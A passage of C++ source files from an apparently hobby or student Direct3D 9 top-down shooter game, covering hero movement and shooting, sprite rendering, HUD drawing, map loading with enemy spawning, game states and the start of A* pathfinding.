GetWorldRect(&hr);
if(Game->intersectsWithEnemy(&hr)) {
x += speed;
return false;
}
return true;
}
break;
}
return false;
}
void cHero::SetPosition(int posx,int posy)
{
x = posx;
y = posy;
}
void cHero::SetCell(int cellx,int celly)
{
x = cellx*TILE_WIDTH;
y = celly*TILE_WIDTH;
}
void cHero::GetCell(int *cellx,int *celly)
{
*cellx = x/TILE_WIDTH;
*celly = y/TILE_WIDTH;
}
int cHero::GetSpeed()
{
return speed;
}
int cHero::GetX()
{
return x;
}
int cHero::GetY()
{
return y;
}
void cHero::GetWorldRect(RECT *rc)
{
SetRect(rc, x, y, x + HERO_WIDTH, y + HERO_HEIGHT);
}
void cHero::ShootAt(int mx, int my)
{
int dx = (mx + Scene->camx) - x - HERO_WIDTH/2;
int dy = (my + Scene->camy) - y - HERO_HEIGHT/2;
float mod = sqrt(float(dx*dx + dy*dy));
float dxa = (float)dx/(float)mod;
float dya = (float)dy/(float)mod;
if (weapon_rof >= bull_rof[weapon])
{
Game->addHeroBullet(weapon, x, y, dxa*bull_speed[weapon], dya*bull_speed[weapon]);
firing = 3;
weapon_rof = 0;
}
else
weapon_rof += 1 + upgraded;
}
bool cHero::Hit(int damage)
{
if (shielded > 0)
{
shielded = max(shielded - damage, 0);
}
else
{
life -= damage;
Game->GetSound()->playEfecto("hit");
}
return life <= 0;
}
bool cHero::ChangeWeapon(int newWeapon)
{
if(newWeapon == weapon) upgraded = 1;
else {
upgraded = 0;
weapon = newWeapon;
}
return true;
}
bool cHero::AddLife(int lifeToAdd)
{
life += lifeToAdd;
if (life > 100) life = 100;
return true;
}
<file_sep>/Gandhi-Prototype/include/cGraphicsLayer.h
#ifndef __GRAPHICSLAYER_H__
#define __GRAPHICSLAYER_H__
#pragma comment(lib,"dxguid.lib")
#pragma comment(lib,"d3d9.lib")
#pragma comment(lib,"d3dx9.lib")
#pragma comment(lib,"dxerr8.lib")
#pragma comment(lib,"winmm.lib")
#include <D3D9.h>
#include <D3DX9.h>
#include "cScene.h"
#include "cMouse.h"
class cGame;
class cBullet;
class cGraphicsLayer
{
public:
static cGraphicsLayer* GetInstance();
virtual ~cGraphicsLayer();
bool Init(HWND hWnd, bool windowed);
void Finalize();
void LoadData();
void UnLoadData();
bool RenderMenu();
bool RenderInGame();
bool RenderGameOver();
bool RenderGameEnd();
bool DrawLevel();
bool DrawHUD();
bool DrawHero();
void DrawBullet(cBullet *Bullet);
bool DrawEnemies();
bool DrawItems();
bool DrawMouse();
bool DrawRect(RECT rc, D3DCOLOR color);
private:
static cGraphicsLayer* instance;
cGraphicsLayer();
cGame* Game;
LPDIRECT3D9 g_pD3D;
LPDIRECT3DDEVICE9 g_pD3DDevice;
LPD3DXSPRITE g_pSprite;
// TEXTURAS
LPDIRECT3DTEXTURE9 texMain,texGame, texGameOver, texGameEnd;
LPDIRECT3DTEXTURE9 texTiles,texMouse;
LPDIRECT3DTEXTURE9 texHUD, texChar;
ID3DXFont *g_font;
};
#endif<file_sep>/Gandhi-Prototype/include/cBullet.h
#ifndef __BULLET_H__
#define __BULLET_H__
#include <windows.h>
#include "cScene.h"
#define BULLET_WIDTH 64
#define BULLET_HEIGHT 64
#define BULL_1 0
#define BULL_2 1
#define BULL_3 2
//class cGame;
const int bull_rof[3] = {6, 10, 10};
const int bull_dam[3] = {2, 6, 14};
const int bull_speed[3] = {8, 8, 8};
class cBullet
{
public:
cBullet(int type, int x, int y, int vx, int vy);
virtual ~cBullet(void);
bool Move();
void GetRect(RECT *rc,int *posx,int *posy,cScene *Scene,float *ang);
void GetCell(int *cellx,int *celly);
void GetWorldRect(RECT *rc);
int GetDamage();
private:
int type;
int x,y; //Position in total map
float angle;
int vx, vy;
cScene *Scene;
};
#endif<file_sep>/Gandhi-Prototype/lib/cGraphicsLayer.cpp
#include "cGraphicsLayer.h"
#include "cLog.h"
#include "cGame.h"
#include <stdio.h>
#define _USE_MATH_DEFINES
#include <math.h>
cGraphicsLayer* cGraphicsLayer::instance = NULL;
cGraphicsLayer* cGraphicsLayer::GetInstance()
{
if (instance == NULL)
instance = new cGraphicsLayer();
return instance;
}
cGraphicsLayer::cGraphicsLayer()
{
g_pD3D = NULL;
g_pD3DDevice = NULL;
g_pSprite = NULL;
Game = cGame::GetInstance();
}
cGraphicsLayer::~cGraphicsLayer(){}
bool cGraphicsLayer::Init(HWND hWnd, bool windowed)
{
cLog *Log = cLog::Instance();
HRESULT hr;
D3DVIEWPORT9 viewPort = { 0, 0, SCREEN_RES_X, SCREEN_RES_Y, 0.0f, 1.0f };
g_pD3D = Direct3DCreate9( D3D_SDK_VERSION );
if(g_pD3D==NULL)
{
Log->Msg("Error creating Direct3D object");
return false;
}
D3DPRESENT_PARAMETERS d3dpp;
ZeroMemory( &d3dpp, sizeof( d3dpp ) );
d3dpp.Windowed = windowed;
d3dpp.SwapEffect = D3DSWAPEFFECT_DISCARD; //Efficient page flipping
d3dpp.BackBufferWidth = SCREEN_RES_X;
d3dpp.BackBufferHeight = SCREEN_RES_Y;
d3dpp.BackBufferFormat = D3DFMT_X8R8G8B8;
hr = g_pD3D->CreateDevice( D3DADAPTER_DEFAULT,
D3DDEVTYPE_HAL,
hWnd,
D3DCREATE_SOFTWARE_VERTEXPROCESSING,
&d3dpp,
&g_pD3DDevice );
if(FAILED(hr))
{
Log->Error(hr,"Creating Direct3D device");
return false;
}
// Configure for 2d operations
hr = g_pD3DDevice->SetRenderState(D3DRS_ZENABLE, FALSE);
hr = g_pD3DDevice->SetRenderState(D3DRS_CULLMODE, D3DCULL_NONE);
hr = g_pD3DDevice->SetRenderState(D3DRS_LIGHTING, FALSE);
if(FAILED(hr))
{
Log->Error(hr,"Setting render state");
return false;
}
hr = g_pD3DDevice->SetViewport(&viewPort);
if(FAILED(hr))
{
Log->Error(hr,"Setting viewport");
return false;
}
return true;
}
void cGraphicsLayer::Finalize()
{
if(g_pD3DDevice)
{
g_pD3DDevice->Release();
g_pD3DDevice = NULL;
}
if(g_pD3D)
{
g_pD3D->Release();
g_pD3D = NULL;
}
}
void cGraphicsLayer::LoadData()
{
D3DXCreateSprite( g_pD3DDevice, &g_pSprite );
//Main menu
D3DXCreateTextureFromFileEx(g_pD3DDevice,"media/imgs/pantallaInicio.png",0,0,1,0,D3DFMT_UNKNOWN,
D3DPOOL_DEFAULT,D3DX_FILTER_NONE,D3DX_FILTER_NONE,
NULL,NULL,NULL,&texMain);
//Game over
D3DXCreateTextureFromFileEx(g_pD3DDevice,"media/imgs/gameOver.png",0,0,1,0,D3DFMT_UNKNOWN,
D3DPOOL_DEFAULT,D3DX_FILTER_NONE,D3DX_FILTER_NONE,
NULL,NULL,NULL,&texGameOver);
//Game end
D3DXCreateTextureFromFileEx(g_pD3DDevice,"media/imgs/gameEnd.png",0,0,1,0,D3DFMT_UNKNOWN,
D3DPOOL_DEFAULT,D3DX_FILTER_NONE,D3DX_FILTER_NONE,
NULL,NULL,NULL,&texGameEnd);
//Objects game
D3DXCreateTextureFromFileEx(g_pD3DDevice,"media/imgs/objectTextures.png",0,0,1,0,D3DFMT_UNKNOWN,
D3DPOOL_DEFAULT,D3DX_FILTER_NONE,D3DX_FILTER_NONE,
NULL,NULL,NULL,&texGame);
//Tiles
D3DXCreateTextureFromFileEx(g_pD3DDevice,"media/imgs/mapTextures.png",0,0,1,0,D3DFMT_UNKNOWN,
D3DPOOL_DEFAULT,D3DX_FILTER_NONE,D3DX_FILTER_NONE,
0x00ff00ff,NULL,NULL,&texTiles);
//Mouse pointers
D3DXCreateTextureFromFileEx(g_pD3DDevice,"media/imgs/mouse.png",0,0,1,0,D3DFMT_UNKNOWN,
D3DPOOL_DEFAULT,D3DX_FILTER_NONE,D3DX_FILTER_NONE,
0x00ff00ff,NULL,NULL,&texMouse);
// HUD
D3DXCreateTextureFromFileEx(g_pD3DDevice,"media/imgs/hudTextures.png",0,0,1,0,D3DFMT_UNKNOWN,
D3DPOOL_DEFAULT,D3DX_FILTER_NONE,D3DX_FILTER_NONE,
0x00ff00ff,NULL,NULL,&texHUD);
// Characters
D3DXCreateTextureFromFileEx(g_pD3DDevice,"media/imgs/charTextures.png",0,0,1,0,D3DFMT_UNKNOWN,
D3DPOOL_DEFAULT,D3DX_FILTER_NONE,D3DX_FILTER_NONE,
0x00ff00ff,NULL,NULL,&texChar);
// Font
if (AddFontResourceEx("media/fonts/segmental.ttf", FR_PRIVATE, 0) != 0)
{
int hr=D3DXCreateFont(g_pD3DDevice, //D3D Device
35, //Font height
0, //Font width
FW_BLACK, //Font Weight
1, //MipLevels
false, //Italic
DEFAULT_CHARSET, //CharSet
OUT_DEFAULT_PRECIS, //OutputPrecision
ANTIALIASED_QUALITY, //Quality
DEFAULT_PITCH|FF_DONTCARE,//PitchAndFamily
"segmental", //pFacename,
&g_font); //ppFont
}
else
{
cLog::Error(-1, "ERROR CREANDO LA FUENTE");
}
}
void cGraphicsLayer::UnLoadData()
{
if(texMain)
{
texMain->Release();
texMain = NULL;
}
if(texGameOver)
{
texGameOver->Release();
texGameOver = NULL;
}
if(texGameEnd)
{
texGameEnd->Release();
texGameEnd = NULL;
}
if(texGame)
{
texGame->Release();
texGame = NULL;
}
if(texTiles)
{
texTiles->Release();
texTiles = NULL;
}
if(texChar)
{
texChar->Release();
texChar = NULL;
}
if(texMouse)
{
texMouse->Release();
texMouse = NULL;
}
if(texHUD)
{
texHUD->Release();
texHUD = NULL;
}
if(g_pSprite)
{
g_pSprite->Release();
g_pSprite = NULL;
}
if(g_font)
{
g_font->Release();
g_font = NULL;
}
}
bool cGraphicsLayer::RenderMenu()
{
cGame* game = cGame::GetInstance();
g_pD3DDevice->Clear( 0, NULL, D3DCLEAR_TARGET, 0xFF000000, 0, 0 );
g_pD3DDevice->BeginScene();
g_pSprite->Begin(D3DXSPRITE_ALPHABLEND);
g_pSprite->Draw(texMain,NULL,NULL,&D3DXVECTOR3(0.0f,0.0f,0.0f),0xFFFFFFFF);
g_pSprite->End();
DrawMouse();
g_pD3DDevice->EndScene();
g_pD3DDevice->Present( NULL, NULL, NULL, NULL );
return true;
}
bool cGraphicsLayer::RenderGameOver()
{
cGame* game = cGame::GetInstance();
g_pD3DDevice->Clear( 0, NULL, D3DCLEAR_TARGET, 0xFF000000, 0, 0 );
g_pD3DDevice->BeginScene();
g_pSprite->Begin(D3DXSPRITE_ALPHABLEND);
g_pSprite->Draw(texGameOver,NULL,NULL,&D3DXVECTOR3(0.0f,0.0f,0.0f),0xFFFFFFFF);
///////////////////////////////////
// Pintamos la puntuación
///////////////////////////////////
///////////////////////////////////
cHUD* hud = Game->GetHUD();
char text[6];
itoa(Game->GamePoints, text, 10);
int font_height = g_font->DrawText(g_pSprite, //pSprite
text, //pString
-1, //Count
&hud->Elements[POINTS][0].r, //pRect
DT_LEFT|DT_NOCLIP, //Format,
0xFFFFFFFF); //Color
g_pSprite->Draw(texHUD, &hud->Elements[POINTS][1].r,NULL,
&D3DXVECTOR3(float(hud->Elements[POINTS][1].x),
float(hud->Elements[POINTS][1].y),
0.0f),
0xFFFFFFFF);
g_pSprite->End();
DrawMouse();
g_pD3DDevice->EndScene();
g_pD3DDevice->Present( NULL, NULL, NULL, NULL );
return true;
}
bool cGraphicsLayer::RenderGameEnd()
{
cGame* game = cGame::GetInstance();
g_pD3DDevice->Clear( 0, NULL, D3DCLEAR_TARGET, 0xFF000000, 0, 0 );
g_pD3DDevice->BeginScene();
g_pSprite->Begin(D3DXSPRITE_ALPHABLEND);
g_pSprite->Draw(texGameEnd,NULL,NULL,&D3DXVECTOR3(0.0f,0.0f,0.0f),0xFFFFFFFF);
///////////////////////////////////
// Pintamos la puntuación
///////////////////////////////////
///////////////////////////////////
cHUD* hud = Game->GetHUD();
char text[6];
itoa(Game->GamePoints, text, 10);
int font_height = g_font->DrawText(g_pSprite, //pSprite
text, //pString
-1, //Count
&hud->Elements[POINTS][0].r, //pRect
DT_LEFT|DT_NOCLIP, //Format,
0xFF000000); //Color
g_pSprite->Draw(texHUD, &hud->Elements[POINTS][1].r,NULL,
&D3DXVECTOR3(float(hud->Elements[POINTS][1].x),
float(hud->Elements[POINTS][1].y),
0.0f),
0xFFFFFFFF);
g_pSprite->End();
DrawMouse();
g_pD3DDevice->EndScene();
g_pD3DDevice->Present( NULL, NULL, NULL, NULL );
return true;
}
bool cGraphicsLayer::RenderInGame()
{
g_pD3DDevice->Clear( 0, NULL, D3DCLEAR_TARGET, 0xFF000000, 0, 0 );
g_pD3DDevice->BeginScene();
//--- SPRITES ---
g_pSprite->Begin(D3DXSPRITE_ALPHABLEND);
//Graphic User Interface
DrawLevel();
DrawItems();
DrawHero();
DrawEnemies();
DrawHUD();
g_pSprite->End();
DrawMouse();
g_pD3DDevice->EndScene();
g_pD3DDevice->Present( NULL, NULL, NULL, NULL );
return true;
}
bool cGraphicsLayer::DrawHUD()
{
int posx,posy;
RECT rc;
cHUD* hud = Game->GetHUD();
///////////////////////////////////
// Pintamos el arma que llevamos
///////////////////////////////////
// 0, 1 o 2 en función del arma que llevemos
g_pSprite->Draw(texHUD, &hud->Elements[WEAPON][Game->GetHero()->GetWeapon()].r,NULL,
&D3DXVECTOR3(float(hud->Elements[WEAPON][Game->GetHero()->GetWeapon()].x),
float(hud->Elements[WEAPON][Game->GetHero()->GetWeapon()].y),
0.0f),
0xFFFFFFFF);
g_pSprite->Draw(texHUD, &hud->Elements[WEAPON][3].r,NULL,
&D3DXVECTOR3(float(hud->Elements[WEAPON][3].x),
float(hud->Elements[WEAPON][3].y),
0.0f),
0xFFFFFFFF);
g_pSprite->Draw(texHUD, &hud->Elements[WEAPON][4].r,NULL,
&D3DXVECTOR3(float(hud->Elements[WEAPON][4].x),
float(hud->Elements[WEAPON][4].y),
0.0f),
0xFFFFFFFF);
///////////////////////////////////
// Pintamos la energía
///////////////////////////////////
int nucleos = (Game->GetHero()->GetLife() + 19) / 20;
posx = 0;
for (int i = 0; i < nucleos - 1; i++)
{
g_pSprite->Draw(texHUD, &hud->Elements[LIFE][0].r,NULL,
&D3DXVECTOR3(float(hud->Elements[LIFE][0].x + posx),
float(hud->Elements[LIFE][0].y),
0.0f),
0xFFFFFFFF);
posx += 60;
}
// Último núcleo
g_pSprite->Draw(texHUD, &hud->Elements[LIFE][0].r,NULL,
&D3DXVECTOR3(float(hud->Elements[LIFE][0].x + posx),
float(hud->Elements[LIFE][0].y),
0.0f),
D3DCOLOR_ARGB(Game->GetHero()->GetLife()*255/20, 0xFF, 0xFF, 0xFF));
// Container vida
g_pSprite->Draw(texHUD, &hud->Elements[LIFE][1].r,NULL,
&D3DXVECTOR3(float(hud->Elements[LIFE][1].x),
float(hud->Elements[LIFE][1].y),
0.0f),
0xFFFFFFFF);
g_pSprite->Draw(texHUD, &hud->Elements[LIFE][2].r,NULL,
&D3DXVECTOR3(float(hud->Elements[LIFE][2].x),
float(hud->Elements[LIFE][2].y),
0.0f),
0xFFFFFFFF);
///////////////////////////////////
// Pintamos la puntuación
///////////////////////////////////
char text[6];
itoa(Game->GamePoints, text, 10);
int font_height = g_font->DrawText(g_pSprite, //pSprite
text, //pString
-1, //Count
&hud->Elements[POINTS][0].r, //pRect
DT_LEFT|DT_NOCLIP, //Format,
0xFFFFFFFF); //Color
g_pSprite->Draw(texHUD, &hud->Elements[POINTS][1].r,NULL,
&D3DXVECTOR3(float(hud->Elements[POINTS][1].x),
float(hud->Elements[POINTS][1].y),
0.0f),
0xFFFFFFFF);
return true;
}
bool cGraphicsLayer::DrawLevel()
{
RECT rc;
int x,y,n,
fx,fy,
pantx,panty,
cx, cy,
offx, offy;
cScene* Scene = cGame::GetInstance()->GetScene();
Scene->getCell(&cx, &cy);
offx = Scene->camx - cx*TILE_WIDTH + Game->rumble*8;
offy = Scene->camy - cy*TILE_WIDTH + Game->rumble*8;
if(Game->rumble == 2) Game->rumble = -2;
else if(Game->rumble == -2) Game->rumble = 1;
else if(Game->rumble == 1) Game->rumble = -1;
else if(Game->rumble == -1) Game->rumble = 0;
//Tile based map
fx=cx+SCENE_WIDTH+1;
fy=cy+SCENE_HEIGHT+1;
for(y=cy;y<fy;y++)
{
panty = SCENE_Yo + ((y-cy)<<TILE_W_SHIFT) - offy;
for(x=cx;x<fx;x++)
{
pantx = SCENE_Xo + ((x-cx)<<TILE_W_SHIFT) - offx;
n = Scene->map[y][x].tile;
SetRect(&rc, (n%TILE_WIDTH-1)*TILE_WIDTH, (n/TILE_WIDTH)*TILE_WIDTH, (n%TILE_WIDTH)*TILE_WIDTH, ((n/TILE_WIDTH)+1)*TILE_WIDTH);
g_pSprite->Draw(texTiles,&rc,NULL,
&D3DXVECTOR3(float(pantx),float(panty),0.0f),
0xFFFFFFFF);
}
}
return true;
}
bool cGraphicsLayer::DrawHero()
{
int cx,cy,posx,posy;
RECT rc;
cHero* Hero = cGame::GetInstance()->GetHero();
cMouse* Mouse = cInputLayer::GetInstance()->GetMouse();
cScene* Scene = cGame::GetInstance()->GetScene();
/* PINTAMOS SUS DISPAROS */
for(list<cBullet*>::iterator it = Game->HeroBullets.begin(); it != Game->HeroBullets.end(); it++)
{
cBullet* Bullet = *it;
Bullet->GetCell(&cx,&cy);
if(Scene->Visible(cx,cy))
{
DrawBullet(Bullet);
}
}
//Draw Hero
Hero->GetCell(&cx, &cy);
if(Scene->Visible(cx,cy))
{
D3DXMATRIX preChange, matRotate;
D3DXVECTOR2 vCenter(HERO_WIDTH/2, HERO_HEIGHT/2);
int mPosx, mPosy;
float angle;
D3DCOLOR colWeap;
if(Hero->firing) {
switch(Hero->GetWeapon()) {
case BULL_1:
colWeap = D3DCOLOR_ARGB(0xFF, 0xFF, 0xFF, 64*(Hero->firing - 1));
break;
case BULL_2:
colWeap = D3DCOLOR_ARGB(0xFF, 64*(Hero->firing - 1), 64*(Hero->firing - 1), 0xFF);
break;
case BULL_3:
colWeap = D3DCOLOR_ARGB(0xFF, 0xFF, 64*(Hero->firing - 1), 64*(Hero->firing - 1));
break;
}
Hero->firing--;
}
else colWeap = D3DCOLOR_ARGB(0xFF, 0xFF, 0xFF, 0xFF);
Hero->GetRectLegs(&rc,&posx,&posy,Scene);
// Preparamos matriz rotación
D3DXVECTOR2 vPosition((FLOAT) posx, (FLOAT) posy);
g_pSprite->GetTransform(&preChange);
Mouse->GetPosition(&mPosx, &mPosy);
angle = atan2(float(mPosy-posy-HERO_HEIGHT/2),float(mPosx-posx-HERO_WIDTH/2));
angle += (float) M_PI_2;
D3DXMatrixTransformation2D(&matRotate, NULL, NULL, NULL, &vCenter, angle, &vPosition);
g_pSprite->SetTransform(&matRotate);
/* PINTAMOS LAS PIERNAS */
g_pSprite->Draw(texChar, &rc, NULL, NULL, 0xFFFFFFFF);
/* PINTAMOS EL CUERPO */
Hero->GetRectBody(&rc,&posx,&posy,Scene);
g_pSprite->Draw(texChar, &rc, NULL, NULL, colWeap);
/* PINTAMOS LA CABEZA */
Hero->GetRectHead(&rc,&posx,&posy,Scene);
g_pSprite->Draw(texChar, &rc, NULL, NULL, colWeap);
// Volvemos a la matriz original
g_pSprite->SetTransform(&preChange);
/* PINTAMOS EL ESCUDO (SI HACE FALTA) */
if (Hero->shielded)
{
Hero->GetRectShield(&rc,&posx,&posy,Scene);
g_pSprite->Draw(texChar, &rc, NULL, &D3DXVECTOR3(float(posx - 164),float(posy - 164),0.0f), D3DCOLOR_ARGB(Hero->shielded*255/SHIELD_POWER, 0xFF, 0xFF, 0xFF));
}
}
return true;
}
void cGraphicsLayer::DrawBullet(cBullet *Bullet)
{
int cx,cy,posx,posy;
RECT rc;
D3DXMATRIX preChange, matRotate;
D3DXVECTOR2 vCenter(BULLET_WIDTH/2, BULLET_HEIGHT/2);
float angle;
cScene* Scene = cGame::GetInstance()->GetScene();
Bullet->GetRect(&rc,&posx,&posy,Scene,&angle);
g_pSprite->GetTransform(&preChange);
D3DXVECTOR2 vPosition((FLOAT) posx, (FLOAT) posy);
D3DXMatrixTransformation2D(&matRotate, NULL, NULL, NULL, &vCenter, angle, &vPosition);
g_pSprite->SetTransform(&matRotate);
g_pSprite->Draw(texChar,&rc,NULL,
NULL,
0xFFFFFFFF);
g_pSprite->SetTransform(&preChange);
}
bool cGraphicsLayer::DrawEnemies()
{
int cx,cy,posx,posy;
RECT rc;
cScene* Scene = cGame::GetInstance()->GetScene();
D3DXMATRIX preChange, matRotate;
D3DXVECTOR2 vCenter(ENEMY_WIDTH/2, ENEMY_HEIGHT/2);
int hx, hy;
float angle;
//Bullets
for(list<cBullet*>::iterator it = Game->EnemyBullets.begin(); it != Game->EnemyBullets.end(); it++) {
cBullet* Bullet = *it;
Bullet->GetCell(&cx,&cy);
if(Scene->Visible(cx,cy))
{
DrawBullet(Bullet);
}
}
// Preparamos matriz rotación
g_pSprite->GetTransform(&preChange);
hx = cGame::GetInstance()->GetHero()->GetX() - Scene->camx;
hy = cGame::GetInstance()->GetHero()->GetY() - Scene->camy;
//Draw Enemies
for(list<cEnemy*>::iterator it = Game->Enemies.begin(); it != Game->Enemies.end(); it++) {
cEnemy* Enemy = *it;
Enemy->GetCell(&cx,&cy);
if(Scene->Visible(cx,cy))
{
Enemy->GetBodyRect(&rc,&posx,&posy,Scene);
D3DXVECTOR2 vPosition((FLOAT) posx, (FLOAT) posy);
angle = atan2(float(hy-posy+HERO_HEIGHT/2),float(hx-posx+HERO_WIDTH/2));
angle += (float) M_PI_2;
D3DXMatrixTransformation2D(&matRotate, NULL, NULL, NULL, &vCenter, angle, &vPosition);
g_pSprite->SetTransform(&matRotate);
/* PINTAMOS EL CUERPO */
Enemy->GetBodyRect(&rc,&posx,&posy,Scene);
g_pSprite->Draw(texChar, &rc, NULL, NULL, 0xFFFFFFFF);
/* PINTAMOS LA CABEZA */
Enemy->GetHeadRect(&rc,&posx,&posy,Scene);
g_pSprite->Draw(texChar, &rc, NULL, NULL, 0xFFFFFFFF);
g_pSprite->SetTransform(&preChange);
}
}
return true;
}
bool cGraphicsLayer::DrawItems()
{
int cx,cy,posx,posy;
RECT rc;
cScene* Scene = cGame::GetInstance()->GetScene();
//Draw item
for(list<cItem*>::iterator it = Game->Items.begin(); it != Game->Items.end(); it++) {
cItem* Item = *it;
Item->GetCell(&cx,&cy);
if(Scene->Visible(cx,cy))
{
Item->GetRect(&rc,&posx,&posy,Scene);
g_pSprite->Draw(texGame,&rc,NULL,
&D3DXVECTOR3(float(posx),float(posy),0.0f),
0xFFFFFFFF);
}
}
return true;
}
bool cGraphicsLayer::DrawMouse()
{
cMouse* Mouse = cInputLayer::GetInstance()->GetMouse();
RECT rc;
int mx,my,posx,posy;
//Mouse selection box
Mouse->GetPosition(&mx,&my);
if(Mouse->GetSelection()==SELECT_SCENE)
{
int sx,sy;
Mouse->GetSelectionPoint(&sx,&sy);
SetRect(&rc,sx,sy,mx,my);
DrawRect(rc,0x0000ff00);
}
//Mouse
g_pSprite->Begin(D3DXSPRITE_ALPHABLEND);
Mouse->GetRect(&rc,&posx,&posy);
HRESULT hr = g_pSprite->Draw(texMouse,&rc,NULL,&D3DXVECTOR3(float(mx+posx),float(my+posy),0.0f),0xFFFFFFFF);
if(FAILED(hr))
{
cLog *Log = cLog::Instance();
Log->Error(hr,"mouse pointer");
return false;
}
g_pSprite->End();
return true;
}
bool cGraphicsLayer::DrawRect(RECT rc, D3DCOLOR color)
{
RECT rect;
int xo,yo,xf,yf;
if((rc.left==rc.right)&&(rc.top==rc.bottom)) return false;
if(rc.left < rc.right)
{
xo = rc.left; xf = rc.right;
}
else
{
xo = rc.right; xf = rc.left;
}
if(rc.top < rc.bottom)
{
yo = rc.top; yf = rc.bottom;
}
else
{
yo = rc.bottom; yf = rc.top;
}
//Top
SetRect(&rect,xo,yo,xf+1,yo+1);
g_pD3DDevice->Clear(1,(D3DRECT *)&rect,D3DCLEAR_TARGET,color,1.0f,0);
//Bottom
SetRect(&rect,xo,yf,xf,yf+1);
g_pD3DDevice->Clear(1,(D3DRECT *)&rect,D3DCLEAR_TARGET,color,1.0f,0);
//Left
SetRect(&rect,xo,yo,xo+1,yf+1);
g_pD3DDevice->Clear(1,(D3DRECT *)&rect,D3DCLEAR_TARGET,color,1.0f,0);
//Right
SetRect(&rect,xf,yo,xf+1,yf+1);
g_pD3DDevice->Clear(1,(D3DRECT *)&rect,D3DCLEAR_TARGET,color,1.0f,0);
return true;
}
<file_sep>/Gandhi-Prototype/lib/cScene.cpp
#include "cScene.h"
#include "cMouse.h"
#include "cGame.h"
#include <stdio.h>
#include <stdlib.h>
cScene::cScene()
{
camx = camy = 0;
}
cScene::~cScene(){}
void cScene::LoadMap(char *file)
{
int i,j,n,w = 0;
FILE *f;
fopen_s(&f, file,"r");
// Leemos qué tiles son walkables
fscanf_s(f,"%d",&n);
while (n != -1)
{
walkableTiles.insert(n);
fscanf_s(f,"%d",&n);
}
cGame *Game = cGame::GetInstance();
// Mapa tiles
for(i=0;i<AREA_HEIGHT;i++)
{
for(j=0;j<AREA_WIDTH;j++)
{
fscanf_s(f,"%d",&n);
map[i][j].tile = n;
map[i][j].walkable = walkableTiles.count(n);
if(map[i][j].walkable) {
if(w == ENEMY_DENSITY) {
// El último enemigo es más chungo y tiene la mitad de probabilidades
int enType = rand()%(2*NUM_ENEMIES - 1);
Game->addStalkingEnemy(enType%NUM_ENEMIES, j, i);
w = 0;
}
else w++;
}
}
}
// Leemos posición inicial hero
fscanf_s(f,"%d",&i);
fscanf_s(f,"%d",&j);
Game->GetHero()->init(j, i);
// Leemos posición final (meta) del mapa
fscanf_s(f,"%d",&i);
fscanf_s(f,"%d",&j);
Game->addLevelEnd(j, i);
fclose(f);
}
void cScene::Move(int dir)
{
int speed = cGame::GetInstance()->GetHero()->GetSpeed();
//Up
if(dir==DIRUP)
{
int heroY = cGame::GetInstance()->GetHero()->GetY();
if(camy > 0 && heroY + HERO_HEIGHT/2 + HERO_Y < AREA_HEIGHT*TILE_WIDTH) camy -= speed;
}
//South
else if(dir==DIRDOWN)
{
int heroY = cGame::GetInstance()->GetHero()->GetY();
if(camy < (AREA_HEIGHT-SCENE_HEIGHT-1)*TILE_WIDTH
&& heroY + HERO_HEIGHT/2 - HERO_Y > 0) camy += speed;
}
//West
if(dir==DIRLEFT)
{
int heroX = cGame::GetInstance()->GetHero()->GetX();
if(camx > 0 && heroX + HERO_WIDTH/2 + HERO_X < AREA_WIDTH*TILE_WIDTH) camx -= speed;
}
//East
else if(dir==DIRRIGHT)
{
int heroX = cGame::GetInstance()->GetHero()->GetX();
if(camx < (AREA_WIDTH-SCENE_WIDTH-2)*TILE_WIDTH
&& heroX + HERO_WIDTH/2 - HERO_X > 0) camx += speed;
}
}
bool cScene::Visible(int cellx,int celly)
{
int cx, cy;
getCell(&cx, &cy);
return (cellx>=cx)&&(cellx<=cx+SCENE_WIDTH)&&(celly>=cy)&&(celly<=cy+SCENE_HEIGHT);
}
void cScene::getCell(int *cx, int *cy) {
*cx = camx/TILE_WIDTH;
*cy = camy/TILE_WIDTH;
}
<file_sep>/Gandhi-Prototype/lib/cGSIngame.cpp
#include "cGSIngame.h"
#include "cGame.h"
void cGSIngame::Enter()
{
cGame *Game = cGame::GetInstance();
Game->GetSound()->playCancion();
delayPasos = 0;
Game->Enemies.clear();
Game->StalkingEnemies.clear();
Game->HeroBullets.clear();
Game->EnemyBullets.clear();
Game->Items.clear();
Game->GamePoints = 0;
Game->GetScene()->LoadMap("media/map.txt");
Game->GetScene()->camx = 0;
Game->GetScene()->camy = 0;
}
bool cGSIngame::Process()
{
cGame *Game = cGame::GetInstance();
Game->GetSound()->actualizar();
Game->ProcessOrder();
if (Game->GetHero()->GetDirection() != DIRNONE)
{
if (delayPasos > 15)
{
Game->GetSound()->playEfecto("pasos");
delayPasos = 0;
}
else
{
delayPasos++;
}
}
//Game->GetHero()->Move();
return true;
}
bool cGSIngame::Render()
{
return cGraphicsLayer::GetInstance()->RenderInGame();
}
void cGSIngame::Exit()
{
}<file_sep>/Gandhi-Prototype/lib/cGSGameEnd.cpp
#include "cGSGameEnd.h"
#include "cMouse.h"
#include "cGame.h"
#include "cGSMenu.h"
void cGSGameEnd::Enter()
{
cGame::GetInstance()->GetSound()->stopCancion();
cGame::GetInstance()->GetSound()->playEfecto("over");
}
bool cGSGameEnd::Process()
{
cGame *Game = cGame::GetInstance();
cKeyboard *KeyBoard = cInputLayer::GetInstance()->GetKeyboard();
if (KeyBoard->KeyDown(DIK_SPACE))
{
Game->ChangeState(Game->menu);
}
return true;
}
bool cGSGameEnd::Render()
{
return cGraphicsLayer::GetInstance()->RenderGameEnd();
}
void cGSGameEnd::Exit()
{
}<file_sep>/Gandhi-Prototype/lib/cPath.cpp
#include "cLog.h"
#include "cPath.h"
#include "cEnemy.h"
#include "cGame.h"
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
cPath::cPath()
{
AStar = NULL;
Done();
nxf=-1; //New direction initialization (false)
nyf=-1;
Game = cGame::GetInstance();
}
cPath::~cPath(){}
void cPath::Make(int cx,int cy,int cxdest,int cydest)
{
int status; //find path?
int ncx,ncy; //next cell
//Exists movement?
if((cx!=cxdest)||(cy!=cydest))
{
AStar=new cAStar();
AStar->InitializePathfinder();
AStar->LoadMap();
status=AStar->FindPath(1,cx,cy,cxdest,cydest);
//Exists path?
if(status)
{
x=cx;
y=cy;
xf=cxdest;
yf=cydest;
nxf=-1;
nyf=-1;
//1st Direction
AStar->NextCell(&ncx,&ncy);
CalcDir(x,y,ncx,ncy);
}
else
{
//Delete A*
if(AStar)
{
AStar->EndPathfinder();
delete AStar;
AStar = NULL;
}
//Reset trajectory settings
Done();
nxf=-1;
nyf=-1;
}
}
}
void cPath::ReMake(int cxdest,int cydest)
{
